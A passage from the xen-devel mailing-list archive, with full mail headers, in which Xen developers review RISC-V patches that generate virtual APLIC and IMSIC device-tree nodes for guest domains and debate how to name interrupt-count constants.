         B4hJc4uS1/0mCn0uOjoTXrkKpwWz2Kz5co/cqRr1FnsEsTPHyw9/eUB58GbwGpsVkgkW
         yRAD802iDvKP9rVY5fbJMYG/Y6K8loTaGRGEznP0BmBFhbs48+tAkSVRl3WjrbkW75pF
         TUk+GWNdrfUnBRjOlEON0yzGh+1F8pmi/D4r92V5tLP0XmJ465vWHUYkCAr7GIhOerBk
         fqQg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782907128; x=1783511928;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=VCBBlBIZ2fRRtURovQCiNJjBxSs2iUUYs/xeLtP2pSs=;
        b=BWPcrytAgkt3uTVxofQb8U521+TPERwB3vkubFDoH5+7anLS5I0copAZR5fX/ugNJp
         K0ezPw7/ADhmVnxFQPpCXrQe9BuaQE5K5DLVC2T8c1gt2Cero8p3F5qXmChroBKKywQM
         Cx4BNMB00KLk9dfLaIj1Di/Fe/plvkt+DyBjlit39B3auueSAeY3UklZAfp04fMHYopo
         PAOlGrCp5gQfT0GcESALpuFROZwg7HpqV1mIav89StvT3pf1Q5bUfsZjw5nTNIfRyzWc
         oQuiQ9KvKJyPvunlpZdI7X4+vFO9O4bXsMwEpT6zB7/BDgu++2apVP+9TpYHtY+THlYX
         fMMA==
X-Forwarded-Encrypted: i=1; AHgh+RogWqQUwvIOdvJK14ErAIrjn4yZ9tYxOOFbUAsfi9QuWYxHrvgw1WlSX+Hhi93zooMyyxBMYP3OjTI=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwktVK0OEEGlojT71TxaXez+Dud0gI7++Ro2ZZd4Uav7JtjIQ3Z
	+guV/JjaeaTNBDrsxDTEFyUCXrgjv8YWt3MEKfyjcu5WIc8JZKoJpHen4zRHI4/BlA==
X-Gm-Gg: AfdE7clmlxEguagdXZhG+cGERqz5NFjOfmrFlQ0EA0GX0iYkx8zjeatZjvPhWEnT259
	LLHKODSGHt6hyt4vz+IbcmFte70oqu34HFOx8algOnR1CclqXK2CoQ2FhJ74MMDhAcr4HM+KwWZ
	5bIR6p4ikfiVBpr8HpKPZL2CVgpZxCPRpJe3hi6NQwgdWfgxL/80VpqXK7tFI3qw5YxCQSWmyJD
	jzUq11VLIsk/ZrUVrd6VmlQ8Ucg732aLQnrnmNkOJQQcjuIBN5F+LLK2UixovDHwhH+UyiZjkwY
	zk/zhGPCHGKrLYu6tK3j+sAVyxaMs4z94H1m9yXKxjrcdIx7MdYi8PVZf77FSRURqTPVSejJpe2
	bdfQMNHiB/oPiIWtFIAL4LE0aALenr8LdaJnNxlDjWMmGiOKcCTJVC5eUiSS4MLQi+LGtXbPk/o
	RsHt70VdPPYiTRs1wEsbp8kZJwpavV/dnwKVvG4knwO+fSoWwgctFRrziQryQaGkvi8leQNdAk+
	CjmPuzOySqLb6w=
X-Received: by 2002:a5d:64c3:0:b0:473:da43:44ba with SMTP id ffacd0b85a97d-47757798020mr2295215f8f.22.1782907127866;
        Wed, 01 Jul 2026 04:58:47 -0700 (PDT)
Message-ID: <be262862-2267-4b96-af5e-0379db5208ff@suse.com>
Date: Wed, 1 Jul 2026 13:58:41 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v4 20/25] xen/riscv: create APLIC DT node for guest
 domains
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1782487661.git.oleksii.kurochko@gmail.com>
 <2bab716741ae436c7b92989d7613dac620166b89.1782487661.git.oleksii.kurochko@gmail.com>
 <76b16195-43a8-40cc-9d22-7b9c21e4c8f1@suse.com>
 <7d007b0d-d246-45aa-8ce2-579f36f6d8bf@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaS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IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <7d007b0d-d246-45aa-8ce2-579f36f6d8bf@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c1860d/1782907128-4293D3FC-65BDD623/0/0
X-purgate-type: clean
X-purgate-size: 2244

On 01.07.2026 13:55, Oleksii Kurochko wrote:
> On 6/29/26 5:26 PM, Jan Beulich wrote:
>> On 26.06.2026 17:46, Oleksii Kurochko wrote:
>>> --- a/xen/arch/riscv/vaplic.c
>>> +++ b/xen/arch/riscv/vaplic.c
>>> @@ -9,6 +9,8 @@
>>>    */
>>>   
>>>   #include <xen/errno.h>
>>> +#include <xen/fdt-kernel.h>
>>> +#include <xen/libfdt/libfdt.h>
>>>   #include <xen/sched.h>
>>>   #include <xen/xvmalloc.h>
>>>   
>>> @@ -19,6 +21,11 @@
>>>   
>>>   #include "aplic-priv.h"
>>>   
>>> +#define VAPLIC_COMPATIBLE "riscv,aplic"
>>> +#define VAPLIC_NUM_SOURCES 96
>>
>> So for the IMSIC the host value is relevant, but for the APLIC the count is
>> an arbitrary(?) compile time constant? Why?
> If you are referring to the number of IMSIC interrupt identities, the 
> IMSIC node has separate properties for the host and guest:
> 
> ```yaml
> riscv,num-ids:
>    $ref: /schemas/types.yaml#/definitions/uint32
>    minimum: 63
>    maximum: 2047
>    description:
>      Number of interrupt identities supported by the IMSIC interrupt file.
> 
> riscv,num-guest-ids:
>    $ref: /schemas/types.yaml#/definitions/uint32
>    minimum: 63
>    maximum: 2047
>    description:
>      Number of interrupt identities supported by the IMSIC guest 
> interrupt file. If not specified, it is assumed to be the same as the 
> value of the `riscv,num-ids` property.
> ```
> 
> Therefore, if `riscv,num-guest-ids` is not explicitly specified, the 
> predefined value `GUEST_IMSIC_NUM_IDS` is used.
> 
> No equivalent property exists for APLIC, which is why the value is 
> explicitly hardcoded here. To some extent, the chosen number is 
> arbitrary, but I used the same value that QEMU uses when creating the 
> APLIC node.
> 
> It probably makes sense to limit this value in a similar way to IMSIC, 
> at least for now, since the case where the number of VAPLIC sources 
> exceeds the number of host APLIC sources is not supported (assuming that 
> configuration is even valid). In other words, we could use:
>    min(VAPLIC_NUM_SOURCES, host_num_sources)
> 
> Would that make sense?

Perhaps, yes. Just with the constant again named appropriately for its
purpose (see comments on an earlier patch).

Jan


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 12:04:58 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 12:04:58 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349899.1607528 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wetgT-00067n-Tq; Wed, 01 Jul 2026 12:04:53 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349899.1607528; Wed, 01 Jul 2026 12:04:53 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wetgT-00067g-Pr; Wed, 01 Jul 2026 12:04:53 +0000
Received: by outflank-mailman (input) for mailman id 1349899;
 Wed, 01 Jul 2026 12:04:51 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wetgR-00067a-Mx
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 12:04:51 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wetgQ-008U4k-JD
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 14:04:50 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a450252-2eae-0a2a0a5409dd-0a2a450cd102-44
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 14:04:50 +0200
Received: from [209.85.221.43] (helo=mail-wr1-f43.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a450262-f399-0a2a450c0019-d155dd2bddee-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 14:04:50 +0200
Received: by mail-wr1-f43.google.com with SMTP id
 ffacd0b85a97d-4720d22c94aso527466f8f.1
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 05:04:50 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-148-111.play-internet.pl.
 [109.243.148.111]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47566fe448dsm16477635f8f.27.2026.07.01.05.04.48
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 05:04:49 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1782907490; x=1783512290; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :from:to:cc:subject:date:message-id:reply-to;
        bh=z+JcKImV4auOMkQdRkBPApred79ZOAtYJ15Hd+TGU04=;
        b=QVi9oN+PtDtJxldXMhhGVmPkw1tcY6lJ+7MzQPjWgUCfZY81xgPqyeFqsRJbynscdq
         Ox3WtiIdF4Mlwhcv+zNpFr7YaPN+huj3Mh+kUt2mQICNfJfowOhvgParBGebkx8dzlVi
         X1msZiWGRSvUm7iYRjApFi1sLAxOyJVykqn2SZbEBKr2Sv0uOLaxzwnGLMOo4VANEXSu
         z8cml8YHsQ0LgoWmG8tdN/d+axJtKEXevPSLIeGRDuY+FKrPG6uvX08UnUPQhIR3pqyX
         GjTT+eVqml2bWqkroMwTDEEUgVd49txDCj3RbwHl/kASaatSlzNs2/0KIKckANyaQmYI
         arIw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782907490; x=1783512290;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :x-gm-gg:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=z+JcKImV4auOMkQdRkBPApred79ZOAtYJ15Hd+TGU04=;
        b=WIMEFfOa1UnXCwg9Efd5PYZ2HGxl+r9iUJKe17XNRVkNdIpv93VyjvqCZViw2pLXSc
         eACiuMWwWb3Z+iFxcwdzz4aw+qVKDU07Ygn9TR2dkai9ReCeJhbWvcbmjShsldIAzK7m
         HLWmCUOCubxHjQ/246PDsBkCYG9XBK7P09SBiCefuB+ps3MwwuMnDB74Sc2gntqL2D1n
         IWIPzlOhrnALJGQAQ8tDVFgNu5iCQSWT0okaJPWEsdBZMFHu1S0r6HZ3y4AuX+Wk5WLc
         l+vUzWiXGlhtgFASRPt5T+WGBf+dU0GiZ53Bz2/4n2eac+l2sYj6zEQLWMC7kMYMGRr8
         6eLw==
X-Forwarded-Encrypted: i=1; AHgh+Rp1waa3cR4NOOkN/b2dNMzJ1JIpgnQ+zhzu7JNLNr2ny6sZxzXX6bPxGDAuVEpo73/zj6TXdWLHHpQ=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwR9IkMt9H3tNE5pzHr4pXIx71IhBc7y7zh5+ntxDfzPr2SbMQZ
	FWwkoWb4N6AXQJFIpeYiuUWxi0eDsS3m8Le7Mg4fnrF37+hUsf98rfq1
X-Gm-Gg: AfdE7ckQBxyArQbONJC/Vu2zbcYTk3jUA8aDxaI3kTfcsGoJhKU6KpToYRVgbvIdTWL
	qYD2Ax0vzTnFDsEPMU3T09KymHb1r2+kA1dWWLuCOzXfHTPHLXMgYyjc6WRHeqtdwSg9OAUykAD
	jf8GM9+CzhXrDrJTf8p1p5wrxkS6iCTe2u2XsBo9JuSH0rJ4HUR8ZJotNqUpyu7Fw/zxbaf1Q4y
	1A5epi6YNANyfuAezq09wAryv38stGc322TygC86Wgu/udWRGwg8ObFHZsHlipcPbQIb0pXyFL7
	m4SFsC9+6LokxmvbS0nO8zVFjCoqmyjIs3oF7hSVu78c83o+UMMMm5ABBQhBeG6fpuJ3k6TPQtp
	QIPLqQ95DF3ngu/0OHFMx7Z2k63/Z0i87dMrdDVseMt42mQCZDAhkcJ7oeS56QUPuDPUzh4GDhb
	TtXdevYypRII5S19Ha9qPLcE+SCL2OBEZJeioTMC4kFmM/2cfI+sZkrL5a5+r0qXe3YMQ=
X-Received: by 2002:adf:fc8a:0:b0:475:f0d1:eb61 with SMTP id ffacd0b85a97d-477b2254b18mr290312f8f.60.1782907489911;
        Wed, 01 Jul 2026 05:04:49 -0700 (PDT)
Message-ID: <a068f061-52f6-43b8-91d5-3a40d92dea53@gmail.com>
Date: Wed, 1 Jul 2026 14:04:48 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v4 19/25] xen/riscv: generate IMSIC DT node for guest
 domains
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1782487661.git.oleksii.kurochko@gmail.com>
 <424c223b97e9d27aa4ef4e05e2d5c8d0c426324c.1782487661.git.oleksii.kurochko@gmail.com>
 <77d3cf2c-3ed7-45f8-8e76-72520e71306b@suse.com>
 <018771c4-043d-4b29-ac40-284ee8692334@gmail.com>
 <3c672ea8-3dc9-468d-9ca4-d6ceaf6c8cb3@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <3c672ea8-3dc9-468d-9ca4-d6ceaf6c8cb3@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d25034/1782907490-93536D51-47D40B05/10/73395122804
X-purgate-type: spam
X-purgate-size: 2565



On 7/1/26 1:55 PM, Jan Beulich wrote:
> On 01.07.2026 13:21, Oleksii Kurochko wrote:
>> On 6/29/26 5:19 PM, Jan Beulich wrote:
>>> On 26.06.2026 17:46, Oleksii Kurochko wrote:
>>>> --- a/xen/arch/riscv/imsic.c
>>>> +++ b/xen/arch/riscv/imsic.c
>>>> @@ -13,8 +13,12 @@
>>>>    #include <xen/const.h>
>>>>    #include <xen/cpumask.h>
>>>>    #include <xen/device_tree.h>
>>>> +#include <xen/domain.h>
>>>>    #include <xen/errno.h>
>>>> +#include <xen/fdt-domain-build.h>
>>>> +#include <xen/fdt-kernel.h>
>>>>    #include <xen/init.h>
>>>> +#include <xen/libfdt/libfdt.h>
>>>>    #include <xen/macros.h>
>>>>    #include <xen/sched.h>
>>>>    #include <xen/smp.h>
>>>> @@ -34,6 +38,16 @@ static struct imsic_config imsic_cfg = {
>>>>        .lock = SPIN_LOCK_UNLOCKED,
>>>>    };
>>>>    
>>>> +/*
>>>> + * Number of MSIs available to a guest. Determined by the host interrupt
>>>> + * controller, so it is identical for every domain -- hence a single global
>>>> + * rather than a per-domain value.
>>>> + */
>>>> +static unsigned int __read_mostly guest_num_msis;
>>>> +
>>>> +#define GUEST_IMSIC_COMPATIBLE "riscv,imsics"
>>>> +#define GUEST_IMSIC_NUM_MSIS 255
>>> Considering its use this isn't named correctly - it's not the number of MSIs
>>> guests get to use.
>> I will rename to GUEST_IMSIC_NUM_IDS then it will be fully aligned with
>> dts property name.
>>
>> Then it makes sense to rename guest_num_msis to guest_num_ids.
> That's not going to help address my remark. I specifically referred to ...
> 
>>>> +int __init vimsic_make_domu_dt_node(struct kernel_info *kinfo,
>>>> +                                    unsigned int *phandle)
>>>> +{
>>>> +    int res;
>>>> +    void *fdt = kinfo->fdt;
>>>> +    char vimsic_name[32];
>>>> +    unsigned int vimsic_phandle;
>>>> +    unsigned int num_msis = min(GUEST_IMSIC_NUM_MSIS + 0U, guest_num_msis);
>>> As guest_num_msis (supposedly) doesn't change anymore after it was set, why
>>> would this need calculating again for each call here? Can't you apply the
>>> upper bound right in imsic_parse_node()?
>> Agree, I will add the following to imsic_parse_node() after
>> guest_num_msis is init-ed:
>>
>> guest_num_msis = min(GUEST_IMSIC_NUM_MSIS + 0U, guest_num_msis);
> ... the sole use of the constant (here). The number of MSIs (or IDs or
> whatever else) isn't GUEST_IMSIC_NUM_MSIS; that's merely an upper bound
> (which in turn is there for an unknown to me reason).

Then GUEST_IMSIC_MAX_IDS (or *_MSIS) would be better.

~ Oleksii



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 13:01:07 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 13:01:07 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349928.1607536 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1weuYe-0006no-NX; Wed, 01 Jul 2026 13:00:52 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349928.1607536; Wed, 01 Jul 2026 13:00:52 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1weuYe-0006nh-K9; Wed, 01 Jul 2026 13:00:52 +0000
Received: by outflank-mailman (input) for mailman id 1349928;
 Wed, 01 Jul 2026 13:00:51 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1weuYd-0006nb-Cz
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 13:00:51 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1weuYc-00Auiz-IY
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 15:00:50 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a450f7e-bab6-0a2a0a5309dd-0a2a450aa4c4-20
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 15:00:50 +0200
Received: from [209.85.218.47] (helo=mail-ej1-f47.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a450f81-e40e-0a2a450a0019-d155da2fd994-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 15:00:49 +0200
Received: by mail-ej1-f47.google.com with SMTP id
 a640c23a62f3a-c12629c937eso76023566b.3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 06:00:49 -0700 (PDT)
Received: from ?IPV6:2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112?
 (2a00-12d0-af5d-ad01-5d3f-14e6-9bcb-5112.ip.tng.de.
 [2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112])
 by smtp.gmail.com with ESMTPSA id
 a640c23a62f3a-c1296b1f9cesm182606666b.16.2026.07.01.06.00.48
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 06:00:48 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782910849; x=1783515649; darn=lists.xenproject.org;
        h=in-reply-to:autocrypt:from:content-language:references:cc:to
         :subject:user-agent:mime-version:date:message-id:from:to:cc:subject
         :date:message-id:reply-to;
        bh=XGP3Qh8vro3qsOU3zbt5oj9XZUQ7ke15MmykYN9Mi/w=;
        b=bk5Lbh79u0Hk8mLYimLQ8CJu5Zgs0t2zBneW/N0mI/GGwHKcD+pcVS7OTCVLjqmfll
         xnThAzzXHq64u0tln1ByrA+P8t9s9PGs95UDh2eGiy8LiGbK+s8i8BpCslhw+i96fuvf
         z5k+5fiFhp9kLwiQpM2sinNXsmHSMnWFipqpnL8BaupyL+dCqTelgyPo/wSLS9XCMSVy
         0cuHUNcNVCETgwTZrbRg5e5UpkhekH2yHPG9Wndke7j3k1MztQ4UHlx+Shc/XQ2eRXHk
         pUvkuz7z76QbBrpU0jnfxjUvOaXajY862LBO4HOp2xKoj6r2ecbC7DbrP+9uo+ZK+yNu
         f/SQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782910849; x=1783515649;
        h=in-reply-to:autocrypt:from:content-language:references:cc:to
         :subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
        bh=XGP3Qh8vro3qsOU3zbt5oj9XZUQ7ke15MmykYN9Mi/w=;
        b=ktiZz5Ybfi8kZ3B870d9X1pHkj0pR15YRGRi7BYUUOtDn+89gImF3wClmXeL6tpFEN
         43rLK3uoqFV/LX79l10qMc6CKFerZnvvbrRCHXim8+liU2Jd+JBuNR3gRNhuIcEX/han
         ceqREwq7EiPvblV4u5q2riPwOk5bSoYq/19BImstUxxxvVfTlIZx2Qh0U5rFDraAO/bv
         DPoyCa22ot/IBUpg0UHoUdF7jLsnbseqsGy+6erKNRIe12/upbx58BHZ59RwtGIrxVSB
         U6bZunW9S5RI8Ms03F/nflxxdfICh+OUdzmNHXlHn9927HZtVqUqbogL3pSIjjrPEgRc
         /YMw==
X-Forwarded-Encrypted: i=1; AHgh+Ro4ggXV9P91jSyDbK/HU49ER2XA0x1tMBiFW6vxN9DS4IaYqwFH+gBxEIYE4t6AUbEK1MJxvk8eqJ0=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwpP0zFHmHYS0uozz8Kj6Tl6bK60ew4mGz09WPOqGLcgU1hSRMf
	QyXAc1tFDbsBC+KwYcXLl6+wJkFJMkHWXBvkXS8o6PrRpUdtmaMBFRETFM6u5s73cSo=
X-Gm-Gg: AfdE7cm+mazFr3ON0L0mcB/d9NLP+9WwT/DolP3CpZa/7XYUbvvFZplB/P8NnV7uwU8
	XCUcUF88aoKBrwZR11DsA6rCO9Hv/pvoGHP3bLWOYOix/n7Vl8bhRVrb7kfabyXzNJXt5McVYoQ
	6ZN7ukme1IyU0+LHJGaTXsHbgz/4PEIrHRsPglSHveR8PsFHB8IZk7lBn5ON/9ezKoXrKwS63e9
	9jmVEJOa3rXi6f6iUz6+HVTClZOKeN2fXA180D6WQWK8Bwwa8rGp4DkT+kcLhXgz34VSm+7sh7a
	OcsXN5bI93sQw6V20+ZfjQ/fwlDWMZbSnQQ1NvVAUbMWCJyZdKoKXIXdFb2xhtjrb9EVwVtAgL9
	UjN4LC1fA8RTFDxVJM9OY+aWqyu0isNTHBGrnHOh9fb5PsaZxKbRy4BG5HULLVQeXL2l2FyFqyf
	Xdy8E22XfGdS3xSq7j0TVm7eVlnPjIPTNs5KrgbWF2lZ4GYvjloDJjSseUvjGkhscPVktzYjfnP
	RIiM8IAW6Wz2UcQRdur21gaKrkGs3nXkMHx0MCZmO4=
X-Received: by 2002:a17:906:6a27:b0:c12:34ed:e0f9 with SMTP id a640c23a62f3a-c12aa1b0d39mr84914366b.55.1782910848946;
        Wed, 01 Jul 2026 06:00:48 -0700 (PDT)
Message-ID: <3c05b2b0-6a83-4046-9de3-c7e3478c2958@suse.com>
Date: Wed, 1 Jul 2026 15:00:48 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 0/3] Change XEN_DOMCTL_setvcpuaffinity interface
To: Andrew Cooper <andrew.cooper3@citrix.com>, Jan Beulich <jbeulich@suse.com>
Cc: Anthony PERARD <anthony.perard@vates.tech>,
 Dario Faggioli <dfaggioli@suse.com>, George Dunlap <gwd@xenproject.org>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <20260701111606.4063972-1-jgross@suse.com>
 <4e16c1eb-e1ff-4d7a-bfa8-223d357716ee@suse.com>
 <4524812f-b9ee-4ef5-b5c6-7583815e859b@citrix.com>
Content-Language: en-US
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
Autocrypt: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjrioyspZKOB
 ycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2kaV2KL9650I1SJve
 dYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i1TXkH09XSSI8mEQ/ouNcMvIJ
 NwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/BBLUVbDa4+gmzDC9ezlZkTZG2t14zWPvx
 XP3FAp2pkW0xqG7/377qptDmrk42GlSKN4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEB
 AAHNH0p1ZXJnZW4gR3Jvc3MgPGpncm9zc0BzdXNlLmNvbT7CwHkEEwECACM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KUCvTJq7jvOlaPd6d/W0tZqpyy7KVay+K4aMobDsodB3dvEAs6
 ScCnh03dDAFgIq5nsB11j3KPKdVoPlfucX2c7kGNH+LUMbzqV6beIENfNexkOfxHfw==
In-Reply-To: <4524812f-b9ee-4ef5-b5c6-7583815e859b@citrix.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------D8Dk0SUKGVgnZWk0UYIUxY3D"
X-purgate-ID: tlsNG-4011c0/1782910849-3C876DDE-A7941F31/0/0
X-purgate-type: clean
X-purgate-size: 10528

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------D8Dk0SUKGVgnZWk0UYIUxY3D
Content-Type: multipart/mixed; boundary="------------znGHoX2KsgMD0EpG2Du8uocr";
